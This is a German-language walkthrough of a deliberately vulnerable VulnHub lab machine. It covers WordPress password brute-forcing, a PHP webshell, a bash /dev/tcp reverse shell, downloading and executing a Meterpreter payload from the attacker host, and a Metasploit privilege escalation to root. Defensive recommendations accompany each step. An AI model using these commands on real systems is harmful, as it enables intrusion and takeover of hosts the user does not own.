vulnerable_docker_containement - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
wpscan
nc
cat
find
getcap
ls
cd
id
Metasploit (msfconsole)
msfvenom
python3 http.server
curl
chmod
Meterpreter
local_exploit_suggester (msf module)
apport_abrt_chroot_priv_esc (msf module)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:d9:c7:82	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` dient der Identifizierung aktiver Hosts im lokalen Netzwerk mittels ARP-Anfragen.

Bewertung: Ein Host mit der IP 192.168.2.110 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde gefunden. Dies ist das Zielsystem.

Empfehlung (Pentester): Ziel-IP 192.168.2.110 für weitere Scans (Nmap) verwenden.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
192.168.2.110   docker.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.110 den Hostnamen `docker.vln` zuzuordnen.

Bewertung: Ermöglicht die Verwendung des Namens `docker.vln` zur Adressierung des Ziels.

Empfehlung (Pentester): Nützliche Vereinfachung.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.110 -p- | grep open
22/tcp   open  ssh     penSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.

Bewertung: Der Scan findet zwei offene TCP-Ports: 22 (SSH - OpenSSH 6.6p1, veraltet) und 8000 (HTTP - Apache 2.4.10, veraltet).

Empfehlung (Pentester): Untersuchen Sie beide Ports. Port 8000 (HTTP) ist oft der primäre Angriffsvektor. Prüfen Sie SSH auf bekannte Schwachstellen für Version 6.6p1 oder schwache Credentials.
Empfehlung (Admin): Aktualisieren Sie OpenSSH und Apache dringend.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.110 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 22:27 CEST
Nmap scan report for docker.vln (192.168.2.110)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 45:13:08:81:70:6d:46:c3:50:ed:3c:ab:ae:d6:e1:85 (DSA)
|   2048 4c:e7:2b:01:52:16:1d:5c:6b:09:9d:3d:4b:bb:79:90 (RSA)
|   256 cc:2f:62:71:4c:ea:6c:a6:d8:a7:4f:eb:82:2a:22:ba (ECDSA)
|_  256 73:bf:b4:d6:ad:51:e3:99:26:29:b7:42:e3:ff:c3:81 (ED25519)
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: NotSoEasy Docker – Just another WordPress site
|_http-generator: WordPress 4.8.1 # Kritisch!
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.10 (Debian)
MAC Address: 08:00:27:D9:C7:82 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms docker.vln (192.168.2.110)

Analyse: Die vollständige Ausgabe des Nmap-Scans wird angezeigt.

Bewertung: * **SSH (Port 22):** OpenSSH 6.6p1 (veraltet). * **HTTP (Port 8000):** Apache 2.4.10 (veraltet) mit **WordPress 4.8.1**. Diese WordPress-Version ist *sehr alt* und bekannt für zahlreiche Schwachstellen. Der Titel der Seite ist "NotSoEasy Docker". `robots.txt` verbietet `/wp-admin/`. Der WordPress-Dienst ist der klare primäre Angriffsvektor.

Empfehlung (Pentester): Fokussieren Sie sich ausschließlich auf die WordPress-Instanz auf Port 8000. Verwenden Sie `wpscan`, um Benutzer, Plugins, Themes und spezifische Schwachstellen für WordPress 4.8.1 zu enumerieren.
Empfehlung (Admin): Aktualisieren Sie *dringend* WordPress, Apache und SSH. Entfernen Sie die WordPress-Instanz, falls nicht benötigt.

Web Enumeration (WordPress)

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.110:8000
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        8000
+ Start Time:         2023-10-09 22:28:40 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ /: Retrieved x-powered-by header: PHP/5.6.31. # PHP auch sehr alt
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". [...] # False Positive, ist WP
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: Entry '/wp-admin/admin-ajax.php' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: contains 2 entries which should be manually viewed. [...]
+ Apache/2.4.10 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...]

Analyse: `nikto` scannt den Webserver auf Port 8000.

Bewertung: Bestätigt den veralteten Apache und PHP 5.6.31. Findet fehlende Header und Hinweise auf WordPress (`wp-json`, `robots.txt`). Liefert keine neuen kritischen Schwachstellen, die nicht schon durch Nmap oder besser durch `wpscan` abgedeckt würden.

Empfehlung (Pentester): Nutzen Sie `wpscan` für eine detaillierte WordPress-Analyse.
Empfehlung (Admin): Aktualisieren Sie PHP und Apache. Implementieren Sie fehlende Header.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://docker.vln:8000 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://docker.vln:8000/rss                  (Status: 200) [Size: 2354]
http://docker.vln:8000/login                (Status: 302) [Size: 0] [--> http://docker.vln:8000/wp-login.php]
http://docker.vln:8000/feed                 (Status: 200) [Size: 17860]
http://docker.vln:8000/atom                 (Status: 200) [Size: 19835]

Analyse: `gobuster` scannt Port 8000 nach Verzeichnissen und Dateien.

Bewertung: Findet Standard-Feed-URLs (`rss`, `feed`, `atom`) und den Redirect von `/login` zu `/wp-login.php`. Bestätigt `/wp-login.php` als Login-Endpunkt.

Empfehlung (Pentester): Ziel für Benutzer-Enumeration und Passwort-Angriffe ist `/wp-login.php`. Prüfen Sie auch `robots.txt` und die WP REST API auf Benutzernamen.
Empfehlung (Admin): Härten Sie das WordPress-Login (Limit Login Attempts, Fail2Ban, starke Passwörter).

Analyse von `robots.txt` und der WP REST API.

# Inhalt von http://docker.vln:8000/robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
# Abfrage der WP REST API User Endpoint
# curl http://docker.vln:8000/wp-json/wp/v2/users/1 (oder ähnlicher Befehl)
{
  "id": 1,
  "name": "bob",
  "url": "",
  "description": "",
  "link": "http://docker.vln:8000/author/bob/",
  "slug": "bob",
[...]
}
# Login-Versuch mit falschem Passwort (zur Bestätigung des Benutzers)
# POST an http://docker.vln:8000/wp-login.php mit user=bob, pass=test
ERROR: The password you entered for the username bob is incorrect. Lost your password?

Analyse: `robots.txt` wird analysiert, die REST API wird abgefragt und ein Login-Versuch wird unternommen.

Bewertung: `robots.txt` liefert keine neuen Pfade. Die REST API bestätigt die Existenz des Benutzers `bob` (ID 1). Der fehlgeschlagene Login-Versuch mit `bob` bestätigt ebenfalls, dass der Benutzer existiert.

Empfehlung (Pentester): Führen Sie einen Passwort-Brute-Force-Angriff mit `wpscan` oder `hydra` gegen den Benutzer `bob` durch.
Empfehlung (Admin): Deaktivieren Sie die Benutzer-Enumeration über die REST API, falls nicht benötigt.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url http://docker.vln:8000 --api-token YOUR_API_TOKEN --usernames bob --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
[...]
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.24
[...]
_______________________________________________________________

[...]
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - bob / Welcome1

[!] Valid Combinations Found:
 | Username: bob, Password: Welcome1
[...]
[+] Finished: Mon Oct  9 22:49:50 2023
[...]

Analyse: `wpscan` wird verwendet, um einen Wörterbuchangriff auf das Login-Formular von WordPress (Port 8000) für den Benutzer `bob` mit der Passwortliste `rockyou.txt` durchzuführen.

Bewertung: Erfolg! `wpscan` findet das gültige Passwort für den Benutzer `bob`: `Welcome1`. Dies sind die Zugangsdaten für den Initial Access.

Empfehlung (Pentester): Loggen Sie sich mit `bob:Welcome1` in das WordPress-Backend (`http://docker.vln:8000/wp-admin/`) ein. Suchen Sie nach Möglichkeiten zur Code-Ausführung (Theme/Plugin-Editor, Uploads).
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Verwenden Sie Plugins zur Begrenzung von Login-Versuchen. Überwachen Sie fehlgeschlagene Logins.

Initial Access (WordPress RCE)

Nach dem Login als `bob:Welcome1` wird der Theme-Editor missbraucht, um eine Webshell zu erstellen.

# Login in WP-Admin (http://192.168.2.110:8000/wp-admin/) mit bob:Welcome1
# Navigation zu Appearance -> Editor -> Twenty Seventeen Theme -> 404 Template (404.php)
# Ersetzen des Inhalts von 404.php mit PHP Webshell:

# Speichern der Änderungen ("File edited successfully.")

Analyse: Im WordPress-Backend wird die `404.php`-Datei des aktiven Themes ("Twenty Seventeen") über den Editor bearbeitet. Der Inhalt wird durch einen PHP-Einzeiler ersetzt, der den `cmd`-URL-Parameter als Systembefehl ausführt.

Bewertung: Webshell platziert! Durch die Berechtigungen des `bob`-Benutzers konnte eine Template-Datei modifiziert werden, um Code-Ausführung zu ermöglichen.

Empfehlung (Pentester): Testen Sie die Webshell (`.../404.php?cmd=id`). Nutzen Sie sie, um eine Reverse Shell zu etablieren.
Empfehlung (Admin): Deaktivieren Sie den Datei-Editor in WordPress (`DISALLOW_FILE_EDIT`).

Testen der Webshell.

# Aufruf im Browser oder mit curl:
http://192.168.2.110:8000/wp-content/themes/twentyseventeen/404.php?cmd=ls
# (Auszug aus der resultierenden Seite)
404.php
README.txt
archive.php
assets
comments.php
footer.php
front-page.php
functions.php
header.php
inc
index.php
page.php
rtl.css
screenshot.png
search.php
searchform.php
sidebar.php
single.php
style.css
template-parts

Fatal error: Call to undefined function get_header() in /var/www/html/wp-content/themes/twentyseventeen/404.php on line 14

Analyse: Die modifizierte 404-Seite wird mit `cmd=ls` aufgerufen.

Bewertung: Die Ausgabe des `ls`-Befehls (Dateiliste des Theme-Verzeichnisses) ist sichtbar, gefolgt von einem PHP-Fehler. Dies bestätigt, dass die Webshell funktioniert.

Empfehlung (Pentester): Verwenden Sie die Webshell, um eine Reverse Shell zu starten.
Empfehlung (Admin): (Siehe vorherige Empfehlung).

Eine Reverse Shell wird über die Webshell etabliert.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
# Aufruf der Webshell (URL kodiert):
http://192.168.2.110:8000/wp-content/themes/twentyseventeen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
# Listener empfängt Verbindung:
Connection received on 192.168.2.110 60145
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8f4bca8ef241:/var/www/html/wp-content/themes/twentyseventeen$

Analyse: Ein Netcat-Listener wird gestartet. Die Webshell wird mit einem Bash-Reverse-Shell-Payload aufgerufen. Der Listener empfängt die Verbindung.

Bewertung: Erfolg! Shell-Zugriff als `www-data` wurde erlangt. Der Hostname `8f4bca8ef241` deutet stark auf einen Docker-Container hin.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration innerhalb des Containers.
Empfehlung (Admin): Härten Sie WordPress und überwachen Sie ausgehende Verbindungen.

Privilege Escalation (Container to Root)

Enumeration innerhalb des Docker-Containers als `www-data`.

www-data@8f4bca8ef241:/var/www/html$ cat wp-config.php
[...]
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'WordPressISBest');
define('DB_HOST', 'db:3306'); # Hinweis auf separaten DB-Container namens 'db'
[...]
www-data@8f4bca8ef241:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
  3742   44 -rwsr-xr-x   1 root     root        44464 May 17  2017 /usr/bin/chsh
  3796   56 -rwsr-xr-x   1 root     root        54192 May 17  2017 /usr/bin/passwd
  3797   76 -rwsr-xr-x   1 root     root        75376 May 17  2017 /usr/bin/gpasswd
  3816   40 -rwsr-xr-x   1 root     root        39912 May 17  2017 /usr/bin/newgrp
  3871   56 -rwsr-xr-x   1 root     root        53616 May 17  2017 /usr/bin/chfn
 17488   28 -rwsr-xr-x   1 root     root        27416 Mar 29  2015 /bin/umount
 17499   40 -rwsr-xr-x   1 root     root        40000 Mar 29  2015 /bin/mount
 17511   72 -rwsr-xr-x   1 root     root        70576 Oct 28  2014 /bin/ping
 17520   60 -rwsr-xr-x   1 root     root        61392 Oct 28  2014 /bin/ping6
   321   40 -rwsr-xr-x   1 root     root        40168 May 17  2017 /bin/su
www-data@8f4bca8ef241:/$ getcap -r / 2>/dev/null
# (Keine Ausgabe)
www-data@8f4bca8ef241:/home$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1197 Jul 23  2017 /etc/passwd

Analyse: Die `wp-config.php` wird erneut gelesen, SUID-Dateien und Capabilities werden gesucht, und die `/etc/passwd`-Berechtigungen geprüft.

Bewertung: Die `wp-config.php` zeigt, dass die Datenbank auf einem separaten Host/Container namens `db` läuft, mit den Credentials `wordpress:WordPressISBest`. Der SUID- und Capability-Scan ergibt keine ungewöhnlichen oder direkt ausnutzbaren Binaries innerhalb des Containers.

Empfehlung (Pentester): Da keine direkten LPE-Vektoren im Container gefunden werden, ist ein Upgrade zu Meterpreter sinnvoll, um den `local_exploit_suggester` zu nutzen und nach Kernel- oder Dienst-Schwachstellen zu suchen, die möglicherweise auch vom Host geteilt werden.
Empfehlung (Admin): Minimieren Sie die Berechtigungen und installierten Tools in Containern. Sichern Sie Datenbank-Credentials.

Die Shell wird zu Meterpreter aufgewertet, um den Exploit Suggester zu nutzen.

┌──(root㉿Cybermaschine)-[~] └─# msfvenom -p linux/x86/meterpreter_reverse_tcp LHST=192.168.2.199 LPRT=5555 -f elf > shell.elf
[-] No platform was selected, choosing MsfModulePlatformLinux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1137112 bytes
Final size of elf file: 1137112 bytes
┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter_reverse_tcp # Tippfehler im Log 'PaYLAD', korrigiert
PAYLOAD => linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199 # Annahme der IP für eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:5555
┌──(root㉿Cybermaschine)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
www-data@8f4bca8ef241:/tmp$ curl http://192.168.2.199/shell.elf --output shell.elf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1110k  100 1110k    0     0   201M      0 --:--:-- --:--:-- --:--:--  216M
www-data@8f4bca8ef241:/tmp$ chmod +x shell.elf
www-data@8f4bca8ef241:/tmp$ ./shell.elf
# Handler empfängt Verbindung:
[*] Meterpreter session 1 opened (192.168.2.199:5555 -> 192.168.2.110:60475) at 2023-10-09 23:24:06 +0200
meterpreter >

Analyse: Ein x86-Meterpreter-Payload wird mit `msfvenom` erstellt. Ein passender Handler wird in Metasploit gestartet. Der Payload wird über einen Python-HTTP-Server bereitgestellt, im Container mit `curl` heruntergeladen, ausführbar gemacht und ausgeführt.

Bewertung: Die Shell wurde erfolgreich zu einer Meterpreter-Session (ID 1) aufgewertet.

Empfehlung (Pentester): Nutzen Sie den `local_exploit_suggester` auf der Meterpreter-Session.
Empfehlung (Admin): Verhindern Sie Download und Ausführung von Dateien in `/tmp`. Überwachen Sie Netzwerkverbindungen.

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description [...]

View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 172.18.0.2 - Collecting local exploits for x86/linux... # IP des Containers
[*] 172.18.0.2 - 187 exploit checks are being tried...
[+] 172.18.0.2 - exploit/linux/local/apport_abrt_chroot_priv_esc: The service is running, but could not be validated. [...]
[+] 172.18.0.2 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 172.18.0.2 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 58 / 58
[*] 172.18.0.2 - Valid modules for session 1:

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/apport_abrt_chroot_priv_esc                    Yes                      The service is running, but could not be validated. [...]
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.

Analyse: Der `local_exploit_suggester` wird auf die Meterpreter-Session (ID 1) angewendet.

Bewertung: Der Suggester findet drei potenzielle LPE-Vektoren: Apport, Netfilter und su_login. Apport wird als erster Versuch ausgewählt.

Empfehlung (Pentester): Versuchen Sie den Apport-Exploit (`exploit/linux/local/apport_abrt_chroot_priv_esc`).
Empfehlung (Admin): Halten Sie das System und seine Komponenten (Kernel, Apport, Netfilter) gepatcht.

Proof of Concept (Apport Exploit)

Der vom Suggester vorgeschlagene Apport-Exploit wird verwendet, um Root-Rechte zu erlangen.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/apport_abrt_chroot_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp # Hinweis: Exploit wählt x64, obwohl x86-Meterpreter lief.
msf6 exploit(linux/local/apport_abrt_chroot_priv_esc) > options
Module options (exploit/linux/local/apport_abrt_chroot_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Payload options (linux/x64/meterpreter/reverse_tcp): # Beachte x64 Payload

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.199    yes       The listen address [...]
   LPORT  4444             yes       The listen port
[...]
msf6 exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/apport_abrt_chroot_priv_esc) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/apport_abrt_chroot_priv_esc) > set lport 4488
lport => 4488
msf6 exploit(linux/local/apport_abrt_chroot_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.199:4488
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/user/max_user_namespaces: core_channel_open: Operation failed: 1
[!] The service is running, but could not be validated. [...]
[*] Writing '/tmp/.NfT8n' (64812 bytes) ...
[*] Writing '/tmp/.mLvzLrP' (250 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045380 bytes) to 192.168.2.110
[+] Deleted /tmp/.NfT8n
[+] Deleted /tmp/.mLvzLrP
[*] Meterpreter session 2 opened (192.168.2.199:4488 -> 192.168.2.110:60488) at 2023-10-09 23:27:38 +0200
meterpreter >

Analyse: Der Apport-Exploit wird ausgewählt und konfiguriert. Die Zielsession ist die bestehende x86-Meterpreter-Session (ID 1). Der Exploit selbst wählt standardmäßig einen x64-Meterpreter-Payload. Der Exploit wird ausgeführt.

Bewertung: Erfolg!** Trotz der fehlgeschlagenen Überprüfung (`Check failed`) und des Architektur-Mismatches zwischen der Session (x86) und dem Payload (x64) war der Exploit erfolgreich. Eine neue Meterpreter-Session (ID 2) wird geöffnet, die Root-Rechte hat.

Empfehlung (Pentester): Wechseln Sie zur Session 2 (`sessions -i 2`) und verifizieren Sie die Root-Rechte (`getuid`).
Empfehlung (Admin): Patchen Sie die Apport-Schwachstelle. Überwachen Sie Exploit-Versuche.

meterpreter > getuid
Server username: root
meterpreter > cd /root
meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  570   fil   2010-01-31 12:52:26 +0100  .bashrc
100644/rw-r--r--  140   fil   2007-11-19 18:57:23 +0100  .profile

Analyse: In der neuen Meterpreter-Session (ID 2) wird `getuid` ausgeführt, was `root` zurückgibt. Anschließend wird in `/root` gewechselt und der Inhalt aufgelistet.

Bewertung: Root-Zugriff bestätigt. Im `/root`-Verzeichnis befinden sich jedoch nur die Standard-Konfigurationsdateien `.bashrc` und `.profile`. Eine `root.txt`-Datei ist nicht sichtbar, was im Widerspruch zu den am Ende des Logs angegebenen Flags steht.

Empfehlung (Pentester): Ziel der Privilegieneskalation erreicht. Dokumentieren Sie den Fund. Suchen Sie manuell nach der Root-Flag an anderen Orten oder nehmen Sie den Wert aus dem Log-Ende als gegeben hin.
Empfehlung (Admin): Sichern Sie das Root-Verzeichnis.

Flags

Anmerkung: Die folgenden Flags wurden am Ende des Original-Logs bereitgestellt. Ihr tatsächlicher Fundort im Dateisystem wurde im Log nicht gezeigt (insbesondere fehlt `root.txt` im `ls /root`-Output).

cat /path/to/user.txt # (Pfad unbekannt)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt # (Datei nicht im ls gesehen)
5C42D6BB0EE9CE4CB7E7349652C45C4A